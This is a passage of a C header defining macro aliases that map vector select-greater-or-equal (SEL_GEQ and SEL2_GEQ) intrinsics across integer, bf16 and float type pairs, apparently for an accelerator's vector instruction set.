i16\n#define v_i16_i16_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_geq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel_geq_v_s_v_v_b v_i16_i16_sel_geq_v_v_v_v_b\n#define v_i16_i16_sel_geq_v_v_v_s_b v_i16_i16_sel_geq_v_v_v_v_b\n#define v_i16_i16_sel_geq_v_v_v_v(a, b, c, d) v_i16_i16_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_i16_sel_geq_v_s_v_v v_i16_i16_sel_geq_v_v_v_v\n#define v_i16_i16_sel_geq_v_v_v_s v_i16_i16_sel_geq_v_v_v_v\n\n#define v_i16_i16_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_geq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel_geq_v_s_v_v_vb v_i16_i16_sel_geq_v_v_v_v_vb\n#define v_i16_i16_sel_geq_v_v_v_s_vb v_i16_i16_sel_geq_v_v_v_v_vb\n\n// i16 - u16\n#define v_u16_i16_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_geq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel_geq_v_s_v_v_b v_u16_i16_sel_geq_v_v_v_v_b\n#define v_u16_i16_sel_geq_v_v_v_s_b v_u16_i16_sel_geq_v_v_v_v_b\n#define v_u16_i16_sel_geq_v_v_v_v(a, b, c, d) v_u16_i16_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_i16_sel_geq_v_s_v_v v_u16_i16_sel_geq_v_v_v_v\n#define v_u16_i16_sel_geq_v_v_v_s v_u16_i16_sel_geq_v_v_v_v\n\n#define v_u16_i16_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_geq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel_geq_v_s_v_v_vb v_u16_i16_sel_geq_v_v_v_v_vb\n#define v_u16_i16_sel_geq_v_v_v_s_vb v_u16_i16_sel_geq_v_v_v_v_vb\n\n// u16 - bf16\n#define v_bf16_u16_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_geq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel_geq_v_s_v_v_b v_bf16_u16_sel_geq_v_v_v_v_b\n#define v_bf16_u16_sel_geq_v_v_v_s_b v_bf16_u16_sel_geq_v_v_v_v_b\n#define v_bf16_u16_sel_geq_v_v_v_v(a, b, c, d) v_bf16_u16_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_u16_sel_geq_v_s_v_v v_bf16_u16_sel_geq_v_v_v_v\n#define v_bf16_u16_sel_geq_v_v_v_s v_bf16_u16_sel_geq_v_v_v_v\n\n#define v_bf16_u16_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_geq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel_geq_v_s_v_v_vb v_bf16_u16_sel_geq_v_v_v_v_vb\n#define v_bf16_u16_sel_geq_v_v_v_s_vb v_bf16_u16_sel_geq_v_v_v_v_vb\n\n// u16 - i16\n#define v_i16_u16_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_geq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel_geq_v_s_v_v_b v_i16_u16_sel_geq_v_v_v_v_b\n#define v_i16_u16_sel_geq_v_v_v_s_b v_i16_u16_sel_geq_v_v_v_v_b\n#define v_i16_u16_sel_geq_v_v_v_v(a, b, c, d) v_i16_u16_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_u16_sel_geq_v_s_v_v v_i16_u16_sel_geq_v_v_v_v\n#define v_i16_u16_sel_geq_v_v_v_s v_i16_u16_sel_geq_v_v_v_v\n\n#define v_i16_u16_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_geq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel_geq_v_s_v_v_vb v_i16_u16_sel_geq_v_v_v_v_vb\n#define v_i16_u16_sel_geq_v_v_v_s_vb v_i16_u16_sel_geq_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_geq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel_geq_v_s_v_v_b v_u16_u16_sel_geq_v_v_v_v_b\n#define v_u16_u16_sel_geq_v_v_v_s_b v_u16_u16_sel_geq_v_v_v_v_b\n#define v_u16_u16_sel_geq_v_v_v_v(a, b, c, d) v_u16_u16_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_u16_sel_geq_v_s_v_v v_u16_u16_sel_geq_v_v_v_v\n#define v_u16_u16_sel_geq_v_v_v_s v_u16_u16_sel_geq_v_v_v_v\n\n#define v_u16_u16_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_geq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel_geq_v_s_v_v_vb v_u16_u16_sel_geq_v_v_v_v_vb\n#define v_u16_u16_sel_geq_v_v_v_s_vb v_u16_u16_sel_geq_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_i8_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_geq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_geq_v_s_v_v_b v_i8_i8_sel_geq_v_v_v_v_b\n#define v_i8_i8_sel_geq_v_v_v_s_b v_i8_i8_sel_geq_v_v_v_v_b\n#define v_i8_i8_sel_geq_v_v_v_v(a, b, c, d) v_i8_i8_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_i8_sel_geq_v_s_v_v v_i8_i8_sel_geq_v_v_v_v\n#define v_i8_i8_sel_geq_v_v_v_s v_i8_i8_sel_geq_v_v_v_v\n\n#define v_i8_i8_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_geq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_geq_v_s_v_v_vb v_i8_i8_sel_geq_v_v_v_v_vb\n#define v_i8_i8_sel_geq_v_v_v_s_vb v_i8_i8_sel_geq_v_v_v_v_vb\n\n// i8 - u8\n#define v_u8_i8_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_geq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_geq_v_s_v_v_b v_u8_i8_sel_geq_v_v_v_v_b\n#define v_u8_i8_sel_geq_v_v_v_s_b v_u8_i8_sel_geq_v_v_v_v_b\n#define v_u8_i8_sel_geq_v_v_v_v(a, b, c, d) v_u8_i8_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_i8_sel_geq_v_s_v_v v_u8_i8_sel_geq_v_v_v_v\n#define v_u8_i8_sel_geq_v_v_v_s v_u8_i8_sel_geq_v_v_v_v\n\n#define v_u8_i8_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_geq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_geq_v_s_v_v_vb v_u8_i8_sel_geq_v_v_v_v_vb\n#define v_u8_i8_sel_geq_v_v_v_s_vb v_u8_i8_sel_geq_v_v_v_v_vb\n\n// u8 - i8\n#define v_i8_u8_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_geq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_geq_v_s_v_v_b v_i8_u8_sel_geq_v_v_v_v_b\n#define v_i8_u8_sel_geq_v_v_v_s_b v_i8_u8_sel_geq_v_v_v_v_b\n#define v_i8_u8_sel_geq_v_v_v_v(a, b, c, d) v_i8_u8_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_u8_sel_geq_v_s_v_v v_i8_u8_sel_geq_v_v_v_v\n#define v_i8_u8_sel_geq_v_v_v_s v_i8_u8_sel_geq_v_v_v_v\n\n#define v_i8_u8_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_geq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_geq_v_s_v_v_vb v_i8_u8_sel_geq_v_v_v_v_vb\n#define v_i8_u8_sel_geq_v_v_v_s_vb v_i8_u8_sel_geq_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_geq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_geq_v_s_v_v_b v_u8_u8_sel_geq_v_v_v_v_b\n#define v_u8_u8_sel_geq_v_v_v_s_b v_u8_u8_sel_geq_v_v_v_v_b\n#define v_u8_u8_sel_geq_v_v_v_v(a, b, c, d) v_u8_u8_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_u8_sel_geq_v_s_v_v v_u8_u8_sel_geq_v_v_v_v\n#define v_u8_u8_sel_geq_v_v_v_s v_u8_u8_sel_geq_v_v_v_v\n\n#define v_u8_u8_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_geq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_geq_v_s_v_v_vb v_u8_u8_sel_geq_v_v_v_v_vb\n#define v_u8_u8_sel_geq_v_v_v_s_vb v_u8_u8_sel_geq_v_v_v_v_vb\n\n// SEL2_GEQ\n\n// f32 - f32\n#define v_f32_f32_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_geq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel2_geq_v_s_v_v_b v_f32_f32_sel2_geq_v_v_v_v_b\n#define v_f32_f32_sel2_geq_v_v_v_s_b v_f32_f32_sel2_geq_v_v_v_v_b\n#define v_f32_f32_sel2_geq_v_v_v_v(a, b, c, d) v_f32_f32_sel2_geq_v_v_v_v_b(a, b, c, d, (float64_pair_t){0}, 1, 0)\n#define v_f32_f32_sel2_geq_v_s_v_v v_f32_f32_sel2_geq_v_v_v_v\n#define v_f32_f32_sel2_geq_v_v_v_s v_f32_f32_sel2_geq_v_v_v_v\n\n#define v_f32_f32_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_geq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_f32_f32_sel2_geq_v_v_v_s_vb v_f32_f32_sel2_geq_v_v_v_v_vb\n#define v_f32_f32_sel2_geq_v_s_v_v_vb v_f32_f32_sel2_geq_v_v_v_v_vb\n\n// f32 - i32\n#define v_f32_i32_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_geq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel2_geq_v_s_v_v_b v_f32_i32_sel2_geq_v_v_v_v_b\n#define v_f32_i32_sel2_geq_v_v_v_s_b v_f32_i32_sel2_geq_v_v_v_v_b\n#define v_f32_i32_sel2_geq_v_v_v_v(a, b, c, d) v_f32_i32_sel2_geq_v_v_v_v_b(a, b, c, d, (int64_float64_pair_t){0}, 1, 0)\n#define v_f32_i32_sel2_geq_v_s_v_v v_f32_i32_sel2_geq_v_v_v_v\n#define v_f32_i32_sel2_geq_v_v_v_s v_f32_i32_sel2_geq_v_v_v_v\n\n#define v_f32_i32_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_geq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel2_geq_v_v_v_s_vb v_f32_i32_sel2_geq_v_v_v_v_vb\n#define v_f32_i32_sel2_geq_v_s_v_v_vb v_f32_i32_sel2_geq_v_v_v_v_vb\n\n// f32 - u32\n#define v_f32_u32_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_geq_f32_b(a, b, c, d, 0, i, p, o);\n#define v_f32_u32_sel2_geq_v_s_v_v_b v_f32_u32_sel2_geq_v_v_v_v_b\n#define v_f32_u32_sel2_geq_v_v_v_s_b v_f32_u32_sel2_geq_v_v_v_v_b\n#define v_f32_u32_sel2_geq_v_v_v_v(a, b, c, d) v_f32_u32_sel2_geq_v_v_v_v_b(a, b, c, d, (uint64_float64_pair_t){0}, 1, 0)\n#define v_f32_u32_sel2_geq_v_s_v_v v_f32_u32_sel2_geq_v_v_v_v\n#define v_f32_u32_sel2_geq_v_v_v_s v_f32_u32_sel2_geq_v_v_v_v\n\n#define v_f32_u32_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_geq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_f32_u32_sel2_geq_v_s_v_v_vb v_f32_u32_sel2_geq_v_v_v_v_vb\n#define v_f32_u32_sel2_geq_v_v_v_s_vb v_f32_u32_sel2_geq_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_geq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel2_geq_v_s_v_v_b v_bf16_bf16_sel2_geq_v_v_v_v_b\n#define v_bf16_bf16_sel2_geq_v_v_v_s_b v_bf16_bf16_sel2_geq_v_v_v_v_b\n#define v_bf16_bf16_sel2_geq_v_v_v_v(a, b, c, d) v_bf16_bf16_sel2_geq_v_v_v_v_b(a, b, c, d, (bfloat128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_bf16_sel2_geq_v_s_v_v v_bf16_bf16_sel2_geq_v_v_v_v\n#define v_bf16_bf16_sel2_geq_v_v_v_s v_bf16_bf16_sel2_geq_v_v_v_v\n\n#define v_bf16_bf16_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_geq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o);\n#define v_bf16_bf16_sel2_geq_v_s_v_v_vb v_bf16_bf16_sel2_geq_v_v_v_v_vb\n#define v_bf16_bf16_sel2_geq_v_v_v_s_vb v_bf16_bf16_sel2_geq_v_v_v_v_vb\n\n// bf16 - i16\n#define v_bf16_i16_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_geq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel2_geq_v_s_v_v_b v_bf16_i16_sel2_geq_v_v_v_v_b\n#define v_bf16_i16_sel2_geq_v_v_v_s_b v_bf16_i16_sel2_geq_v_v_v_v_b\n#define v_bf16_i16_sel2_geq_v_v_v_v(a, b, c, d) v_bf16_i16_sel2_geq_v_v_v_v_b(a, b, c, d, (short128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_i16_sel2_geq_v_s_v_v v_bf16_i16_sel2_geq_v_v_v_v\n#define v_bf16_i16_sel2_geq_v_v_v_s v_bf16_i16_sel2_geq_v_v_v_v\n\n#define v_bf16_i16_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_geq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o);\n#define v_bf16_i16_sel2_geq_v_s_v_v_vb v_bf16_i16_sel2_geq_v_v_v_v_vb\n#define v_bf16_i16_sel2_geq_v_v_v_s_vb v_bf16_i16_sel2_geq_v_v_v_v_vb\n\n// bf16 - u16\n#define v_bf16_u16_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_geq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel2_geq_v_s_v_v_b v_bf16_u16_sel2_geq_v_v_v_v_b\n#define v_bf16_u16_sel2_geq_v_v_v_s_b v_bf16_u16_sel2_geq_v_v_v_v_b\n#define v_bf16_u16_sel2_geq_v_v_v_v(a, b, c, d) v_bf16_u16_sel2_geq_v_v_v_v_b(a, b, c, d, (ushort128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_u16_sel2_geq_v_s_v_v v_bf16_u16_sel2_geq_v_v_v_v\n#define v_bf16_u16_sel2_geq_v_v_v_s v_bf16_u16_sel2_geq_v_v_v_v\n\n#define v_bf16_u16_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_geq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel2_geq_v_s_v_v_vb v_bf16_u16_sel2_geq_v_v_v_v_vb\n#define v_bf16_u16_sel2_geq_v_v_v_s_vb v_bf16_u16_sel2_geq_v_v_v_v_vb\n\n// i32 - f32\n#define v_i32_f32_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_geq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel2_geq_v_s_v_v_b v_i32_f32_sel2_geq_v_v_v_v_b\n#define v_i32_f32_sel2_geq_v_v_v_s_b v_i32_f32_sel2_geq_v_v_v_v_b\n#define v_i32_f32_sel2_geq_v_v_v_v(a, b, c, d) v_i32_f32_sel2_geq_v_v_v_v_b(a, b, c, d, (float64_int64_pair_t){0}, 1, 0)\n#define v_i32_f32_sel2_geq_v_s_v_v v_i32_f32_sel2_geq_v_v_v_v\n#define v_i32_f32_sel2_geq_v_v_v_s v_i32_f32_sel2_geq_v_v_v_v\n\n#define v_i32_f32_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_geq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel2_geq_v_s_v_v_vb v_i32_f32_sel2_geq_v_v_v_v_vb\n#define v_i32_f32_sel2_geq_v_v_v_s_vb v_i32_f32_sel2_geq_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_geq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel2_geq_v_s_v_v_b v_i32_i32_sel2_geq_v_v_v_v_b\n#define v_i32_i32_sel2_geq_v_v_v_s_b v_i32_i32_sel2_geq_v_v_v_v_b\n#define v_i32_i32_sel2_geq_v_v_v_v(a, b, c, d) v_i32_i32_sel2_geq_v_v_v_v_b(a, b, c, d, (int64_pair_t){0}, 1, 0)\n#define v_i32_i32_sel2_geq_v_s_v_v v_i32_i32_sel2_geq_v_v_v_v\n#define v_i32_i32_sel2_geq_v_v_v_s v_i32_i32_sel2_geq_v_v_v_v\n\n#define v_i32_i32_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_geq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel2_geq_v_s_v_v_vb v_i32_i32_sel2_geq_v_v_v_v_vb\n#define v_i32_i32_sel2_geq_v_v_v_s_vb v_i32_i32_sel2_geq_v_v_v_v_vb\n\n// i32 - u32\n#define v_i32_u32_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_geq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel2_geq_v_s_v_v_b v_i32_u32_sel2_geq_v_v_v_v_b\n#define v_i32_u32_sel2_geq_v_v_v_s_b v_i32_u32_sel2_geq_v_v_v_v_b\n#define v_i32_u32_sel2_geq_v_v_v_v(a, b, c, d) v_i32_u32_sel2_geq_v_v_v_v_b(a, b, c, d, (uint64_int64_pair_t){0}, 1, 0)\n#define v_i32_u32_sel2_geq_v_s_v_v v_i32_u32_sel2_geq_v_v_v_v\n#define v_i32_u32_sel2_geq_v_v_v_s v_i32_u32_sel2_geq_v_v_v_v\n\n#define v_i32_u32_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_geq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel2_geq_v_s_v_v_vb v_i32_u32_sel2_geq_v_v_v_v_vb\n#define v_i32_u32_sel2_geq_v_v_v_s_vb v_i32_u32_sel2_geq_v_v_v_v_vb\n\n// u32 - f32\n#define v_u32_f32_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_geq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel2_geq_v_s_v_v_b v_u32_f32_sel2_geq_v_v_v_v_b\n#define v_u32_f32_sel2_geq_v_v_v_s_b v_u32_f32_sel2_geq_v_v_v_v_b\n#define v_u32_f32_sel2_geq_v_v_v_v(a, b, c, d) v_u32_f32_sel2_geq_v_v_v_v_b(a, b, c, d, (float64_uint64_pair_t){0}, 1, 0)\n#define v_u32_f32_sel2_geq_v_s_v_v v_u32_f32_sel2_geq_v_v_v_v\n#define v_u32_f32_sel2_geq_v_v_v_s v_u32_f32_sel2_geq_v_v_v_v\n\n#define v_u32_f32_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_geq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_u32_f32_sel2_geq_v_s_v_v_vb v_u32_f32_sel2_geq_v_v_v_v_vb\n#define v_u32_f32_sel2_geq_v_v_v_s_vb v_u32_f32_sel2_geq_v_v_v_v_vb\n\n// u32 - i32\n#define v_u32_i32_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_geq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel2_geq_v_s_v_v_b v_u32_i32_sel2_geq_v_v_v_v_b\n#define v_u32_i32_sel2_geq_v_v_v_s_b v_u32_i32_sel2_geq_v_v_v_v_b\n#define v_u32_i32_sel2_geq_v_v_v_v(a, b, c, d) v_u32_i32_sel2_geq_v_v_v_v_b(a, b, c, d, (int64_uint64_pair_t){0}, 1, 0)\n#define v_u32_i32_sel2_geq_v_s_v_v v_u32_i32_sel2_geq_v_v_v_v\n#define v_u32_i32_sel2_geq_v_v_v_s v_u32_i32_sel2_geq_v_v_v_v\n\n#define v_u32_i32_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_geq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel2_geq_v_s_v_v_vb v_u32_i32_sel2_geq_v_v_v_v_vb\n#define v_u32_i32_sel2_geq_v_v_v_s_vb v_u32_i32_sel2_geq_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_geq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel2_geq_v_s_v_v_b v_u32_u32_sel2_geq_v_v_v_v_b\n#define v_u32_u32_sel2_geq_v_v_v_s_b v_u32_u32_sel2_geq_v_v_v_v_b\n#define v_u32_u32_sel2_geq_v_v_v_v(a, b, c, d) v_u32_u32_sel2_geq_v_v_v_v_b(a, b, c, d, (uint64_pair_t){0}, 1, 0)\n#define v_u32_u32_sel2_geq_v_s_v_v v_u32_u32_sel2_geq_v_v_v_v\n#define v_u32_u32_sel2_geq_v_v_v_s v_u32_u32_sel2_geq_v_v_v_v\n\n#define v_u32_u32_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_geq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_u32_u32_sel2_geq_v_s_v_v_vb v_u32_u32_sel2_geq_v_v_v_v_vb\n#define v_u32_u32_sel2_geq_v_v_v_s_vb v_u32_u32_sel2_geq_v_v_v_v_vb\n\n// i16 - bf16\n#define v_i16_bf16_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_geq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel2_geq_v_s_v_v_b v_i16_bf16_sel2_geq_v_v_v_v_b\n#define v_i16_bf16_sel2_geq_v_v_v_s_b v_i16_bf16_sel2_geq_v_v_v_v_b\n#define v_i16_bf16_sel2_geq_v_v_v_v(a, b, c, d) v_i16_bf16_sel2_geq_v_v_v_v_b(a, b, c, d, (bfloat128_short128_pair_t){0}, 1, 0)\n#define v_i16_bf16_sel2_geq_v_s_v_v v_i16_bf16_sel2_geq_v_v_v_v\n#define v_i16_bf16_sel2_geq_v_v_v_s v_i16_bf16_sel2_geq_v_v_v_v\n\n#define v_i16_bf16_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_geq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel2_geq_v_s_v_v_vb v_i16_bf16_sel2_geq_v_v_v_v_vb\n#define v_i16_bf16_sel2_geq_v_v_v_s_vb v_i16_bf16_sel2_geq_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_geq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel2_geq_v_s_v_v_b v_i16_i16_sel2_geq_v_v_v_v_b\n#define v_i16_i16_sel2_geq_v_v_v_s_b v_i16_i16_sel2_geq_v_v_v_v_b\n#define v_i16_i16_sel2_geq_v_v_v_v(a, b, c, d) v_i16_i16_sel2_geq_v_v_v_v_b(a, b, c, d, (short128_pair_t){0}, 1, 0)\n#define v_i16_i16_sel2_geq_v_s_v_v v_i16_i16_sel2_geq_v_v_v_v\n#define v_i16_i16_sel2_geq_v_v_v_s v_i16_i16_sel2_geq_v_v_v_v\n\n#define v_i16_i16_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_geq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel2_geq_v_s_v_v_vb v_i16_i16_sel2_geq_v_v_v_v_vb\n#define v_i16_i16_sel2_geq_v_v_v_s_vb v_i16_i16_sel2_geq_v_v_v_v_vb\n\n// i16 - u16\n#define v_i16_u16_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_geq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel2_geq_v_s_v_v_b v_i16_u16_sel2_geq_v_v_v_v_b\n#define v_i16_u16_sel2_geq_v_v_v_s_b v_i16_u16_sel2_geq_v_v_v_v_b\n#define v_i16_u16_sel2_geq_v_v_v_v(a, b, c, d) v_i16_u16_sel2_geq_v_v_v_v_b(a, b, c, d, (ushort128_short128_pair_t){0}, 1, 0)\n#define v_i16_u16_sel2_geq_v_s_v_v v_i16_u16_sel2_geq_v_v_v_v\n#define v_i16_u16_sel2_geq_v_v_v_s v_i16_u16_sel2_geq_v_v_v_v\n\n#define v_i16_u16_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_geq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel2_geq_v_s_v_v_vb v_i16_u16_sel2_geq_v_v_v_v_vb\n#define v_i16_u16_sel2_geq_v_v_v_s_vb v_i16_u16_sel2_geq_v_v_v_v_vb\n\n// u16 - bf16\n#define v_u16_bf16_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_geq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel2_geq_v_s_v_v_b v_u16_bf16_sel2_geq_v_v_v_v_b\n#define v_u16_bf16_sel2_geq_v_v_v_s_b v_u16_bf16_sel2_geq_v_v_v_v_b\n#define v_u16_bf16_sel2_geq_v_v_v_v(a, b, c, d) v_u16_bf16_sel2_geq_v_v_v_v_b(a, b, c, d, (bfloat128_ushort128_pair_t){0}, 1, 0)\n#define v_u16_bf16_sel2_geq_v_s_v_v v_u16_bf16_sel2_geq_v_v_v_v\n#define v_u16_bf16_sel2_geq_v_v_v_s v_u16_bf16_sel2_geq_v_v_v_v\n\n#define v_u16_bf16_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_geq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel2_geq_v_s_v_v_vb v_u16_bf16_sel2_geq_v_v_v_v_vb\n#define v_u16_bf16_sel2_geq_v_v_v_s_vb v_u16_bf16_sel2_geq_v_v_v_v_vb\n\n// u16 - i16\n#define v_u16_i16_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_geq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel2_geq_v_s_v_v_b v_u16_i16_sel2_geq_v_v_v_v_b\n#define v_u16_i16_sel2_geq_v_v_v_s_b v_u16_i16_sel2_geq_v_v_v_v_b\n#define v_u16_i16_sel2_geq_v_v_v_v(a, b, c, d) v_u16_i16_sel2_geq_v_v_v_v_b(a, b, c, d, (short128_ushort128_pair_t){0}, 1, 0)\n#define v_u16_i16_sel2_geq_v_s_v_v v_u16_i16_sel2_geq_v_v_v_v\n#define v_u16_i16_sel2_geq_v_v_v_s v_u16_i16_sel2_geq_v_v_v_v\n\n#define v_u16_i16_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_geq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel2_geq_v_s_v_v_vb v_u16_i16_sel2_geq_v_v_v_v_vb\n#define v_u16_i16_sel2_geq_v_v_v_s_vb v_u16_i16_sel2_geq_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_geq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel2_geq_v_s_v_v_b v_u16_u16_sel2_geq_v_v_v_v_b\n#define v_u16_u16_sel2_geq_v_v_v_s_b v_u16_u16_sel2_geq_v_v_v_v_b\n#define v_u16_u16_sel2_geq_v_v_v_v(a, b, c, d) v_u16_u16_sel2_geq_v_v_v_v_b(a, b, c, d, 